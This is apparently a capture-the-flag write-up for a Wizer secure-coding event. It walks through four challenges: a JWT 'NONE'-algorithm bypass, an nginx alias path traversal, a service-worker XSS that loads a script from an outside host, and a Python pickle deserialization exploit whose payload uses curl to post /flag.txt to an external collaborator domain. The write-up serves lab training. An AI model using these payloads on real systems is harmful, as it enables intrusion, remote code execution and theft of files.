Wizer CTF Event 6 Hour Challenge
Start Time: 4 February 2024, 10 AM Eastern Time
End Time: 4 February 2024, 4 PM Eastern Time
CTF URL: https://sam.wizer-ctf.com/?id=cdn_5ubd0m41n
This CTF focuses on secure coding, we are given the source code for each challenge to analyse.
Challenges
JWT Authentication
Click to see source code
const express = require('express');
const jwt = require('jsonwebtoken');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json());
const SECRETKEY = process.env.SECRETKEY;
// Middleware to verify JWT token
// This API will be used by various microservices. These all pass in the authorization token.
// However the token may be in various different payloads.
// That's why we've decided to allow all JWT algorithms to be used.
app.use((req, res, next) => {
const token = req.body.token;
if (!token) {
return res.status(401).json({ message: 'Token missing' });
}
try {
// Verify the token using the secret key and support all JWT algorithms
const decoded = jwt.verify(token, SECRETKEY, { algorithms: ['HS256', 'HS384', 'HS512', 'RS256', 'RS384',
'RS512', 'ES256', 'NONE', 'ES384', 'ES512',
'PS256', 'PS384', 'PS512'] });
req.auth = decoded;
next();
} catch (err) {
return res.status(403).json({ message: 'Token invalid' });
}
});
// API route protected by our authentication middleware
app.post('/flag', (req, res) => {
if (req.auth.access.includes('flag')) {
res.json({ message: 'If you can make the server return this message, then you've solved the challenge!'});
} else {
res.status(403).json({ message: 'đ¨ đ¨ đ¨ You've been caught by the access control police! đ đ đ' })
}
});
app.listen(3000, () => {
console.log(`Server is running on port 3000`);
});
This app will check if the token
parameter is present in the request bodyâs JSON data.
If token
is present it will Verify the JWT token.
Reference for JSON web tokens (JWTs): https://portswigger.net/web-security/jwt
It support all JWT algorithms including NONE
to verify JWT token, so we can bypass the verification using NONE
as algorithm. It will accept tokens that have no signature at all.
Then it will check if {"access":"flag"}
is present in jwt payload data.
A JWT consists of 3 parts: a header, a payload, and a signature. These are each base64 encoded and separated by a dot.
now we create jwt token with HEADER (ALGORITHM & TOKEN TYPE): {"typ":"JWT","alg":"NONE"}
and PAYLOAD (DATA): {"access":"flag"}
with blank SIGNATURE.
Payload:
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJhY2Nlc3MiOiJmbGFnIn0."}
Nginx Configuration
Through the Shelldon Cooperâs flag game website, with the following nginx configuration, get the flag from
flag.html
Click to see source code
user nginx;
worker_processes 1;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / { # Allow the index.html file to be read
root /usr/share/nginx/html;
index index.html;
}
location /assets { # Allow the assets to be read
alias /usr/share/nginx/html/assets/;
}
location = /flag.html { # The flag file is private
deny all;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}
}
At first, I didnât really know what to do, so I used the CTF Ninja Technique. I googled ânginx configuration ctfâ and came across the âoff-by-slashâ vulnerability.
When a Nginx directive does not end with a slash, it is possible to traverse one step up. This incorrect configuration could allow an attacker to read file stored outside the target folder.
Here the location /assets
donât have the trailing slash, so we can read the files in itâs parent folder
Nginx alias directive defines a replacement for the specified location. Here /assets
is alias of /usr/share/nginx/html/assets/
.
so /assets../flag.html
will become /usr/share/nginx/html/assets/../flag.html
and it will return the contents of flag.html
.
Payload:
https://nginx.wizer-ctf.com/assets../flag.html
Recipe Book
Inject an alert(âWizerâ)
Click to see source code
const express = require('express');
const helmet = require('helmet');
const app = express();
const port = 80;
// Serve static files from the 'public' directory
app.use(express.static('public'));
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", ],
styleSrc: ["'self'", "'unsafe-inline'", 'maxcdn.bootstrapcdn.com'],
workerSrc: ["'self'"]
// Add other directives as needed
},
})
);
// Sample recipe data
const recipes = [
{
id: 1,
title: "Spaghetti Carbonara",
ingredients: "Pasta, eggs, cheese, bacon",
instructions: "Cook pasta. Mix eggs, cheese, and bacon. Combine and serve.",
image: "spaghetti.jpg"
},
{
id: 2,
title: "Chicken Alfredo",
ingredients: "Chicken, fettuccine, cream sauce, Parmesan cheese",
instructions: "Cook chicken. Prepare fettuccine. Mix with cream sauce and cheese.",
image: "chicken_alfredo.jpg"
},
// Add more recipes here
];
// Enable CORS (Cross-Origin Resource Sharing) for local testing
app.use((req, res, next) => {
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
next();
});
// Endpoint to get all recipes
app.get('/api/recipes', (req, res) => {
res.json({ recipes });
});
app.listen(port, () => {
console.log(`API server is running on port ${port}`);
});
Url: https://events.wizer-ctf.com/
In the webpage there is a https://events.wizer-ctf.com/app.js
. when we analyse it, we notice that it will
Get the âmodeâ and âcolorâ GET parameters from url and assign it to modeParam
and colorParam
Then it will set document.getElementById("mode").children[0].id = modeParam;
and
document.getElementById(modeParam).textContent = colorParam;
Here if we put GET parameter mode=sw
then we can control the value of const sw
it will be what we give in GET parameter color
.
explanation:
Parameter Retrieval:
-
modeParam = searchParams.get('mode')
:- Stores the value of the query parameter named
mode
in themodeParam
variable.
- Stores the value of the query parameter named
-
colorParam = searchParams.get("color")
:- Similarly, retrieves the value of the
color
parameter and stores it incolorParam
.
- Similarly, retrieves the value of the
Element Updates:
-
document.getElementById("mode").children[0].id = modeParam;
:- Finds the element with the ID âmodeâ and targets its first child element.
- Sets the id attribute of the child element to the value of
modeParam
.
-
document.getElementById(modeParam).textContent = colorParam;
:- Uses the value of
modeParam
to look up an element by its ID - Sets the textContent of that element to the value of
colorParam
.
- Uses the value of
Service Worker Registration:
-
sw = document.getElementById('sw').innerText;
:- Retrieves the innerText (text content) of the element with the ID âswâ.
- Stores the retrieved content in the
sw
variable.
https://events.wizer-ctf.com/sw.js?sw=
have the following code
// Allow loading in of service workers dynamically
importScripts('/utils.js');
importScripts(`/${getParameterByName('sw')}`);
It will import the serviceWorker from the value of sw
since we can control it we can import our own serviceWorker with sw=\\atacker.com/sw.js
.
This will get the file from https://atacker.com/sw.js
now to craft our serviceWorker take a look at this
this will listen for message event on BroadcastChannel(ârecipebookâ) and it will alert the message
property of a message.
BroadcastChannel enables communication between different windows, tabs, or workers within the same origin. postMessage() method will trigger the âmessageâ event on other instances of the BroadcastChannel with the same name.
so in serviceWorker we create a new BroadcastChannel instance using the same name (ârecipebookâ):
const channel = new BroadcastChannel('recipebook');
Use the postMessage() method on the BroadcastChannel instance to send a message with a message property:
channel.postMessage({ message: 'Wizer' });
serviceWorker payload:
const channel = new BroadcastChannel('recipebook');
channel.postMessage({ message: 'Wizer' });
upload this file publicaly on internet: https://aftab700.pythonanywhere.com/api/xss
Payload:
https://events.wizer-ctf.com/?mode=sw&color=\\aftab700.pythonanywhere.com/api/xss
Profile Page
Get the flag and submit it here (https://dsw3qg.wizer-ctf.com/submit_flag/
) to win the challenge! (profile page: https://dsw3qg.wizer-ctf.com/profile)
Click to see source code
from flask import Flask, request, render_template
import pickle
import base64
app = Flask(__name__, template_folder='templates')
real_flag = ''
with open('/flag.txt') as flag_file:
real_flag = flag_file.read().strip()
class Profile:
def __init__(self, username, email, bio):
self.username = username
self.email = email
self.bio = bio
@app.route('/profile', methods=['GET', 'POST'])
def profile():
if request.method == 'POST':
username = request.form.get('username')
email = request.form.get('email')
bio = request.form.get('bio')
if username and email and bio:
profile = Profile(username, email, bio)
dumped = base64.b64encode(pickle.dumps(profile)).decode()
return render_template('profile.html', profile=profile, dumped=dumped)
load_object = request.args.get('load_object')
if load_object:
try:
profile = pickle.loads(base64.b64decode(load_object))
return render_template('profile.html', profile=profile, dumped=load_object)
except pickle.UnpicklingError as e:
return f"Error loading profile: {str(e)}", 400
return render_template('input.html')
@app.route('/submit_flag/<flag>', methods=['GET'])
def flag(flag):
return real_flag if flag == real_flag else 'Not correct!'
if __name__ == '__main__':
app.run(debug=True)
Here if GET parameter load_object
is present it will pass it to pickle.loads(base64.b64decode(load_object))
.
pickle.loads()
is used to unpickle (deserialize) the data and takes a variable containing byte stream as a valid argument.
It is vulnerable to pickle insecure deserialization.
To exploit this vulnerability, we will use __reduce__
method.
__reduce__
allows you to define a custom way to reconstruct the object during deserialization. It can be used for execution of arbitrary
code during deserialization
I wasted so much time on payload making because i was using os.system
but it didnât work at last subprocess.Popen
worked.
[!NOTE]
It wonât work becauseos.system
method uses respective shell of the Operating system that it is running on so foros.system
to work during Deserialization we need to Serialize the payload on the machine that matches the target OS.
Here target is running Linux so Windows wonât work
python exploit code:
import pickle
import base64
import os
import requests
class RCE:
def __reduce__(self):
import os
import subprocess
return (subprocess.Popen, (('curl','bwb2r04nf32cz2y75mho7eus4jaay8mx.oastify.com', '-d', '@/flag.txt'),0))
pickled = pickle.dumps(RCE())
x2 = base64.b64encode(pickled).decode()
r = requests.get(f"https://dsw3qg.wizer-ctf.com/profile?load_object={x2}",proxies={'http':'http://127.0.0.1:8080'})
print(r.text)
Request to collaborator:
Payload:
https://dsw3qg.wizer-ctf.com/submit_flag/WIZER{'PICKL1NG_1S_DANGEROUS'}
made it to the top 10 đ
Happy Hacking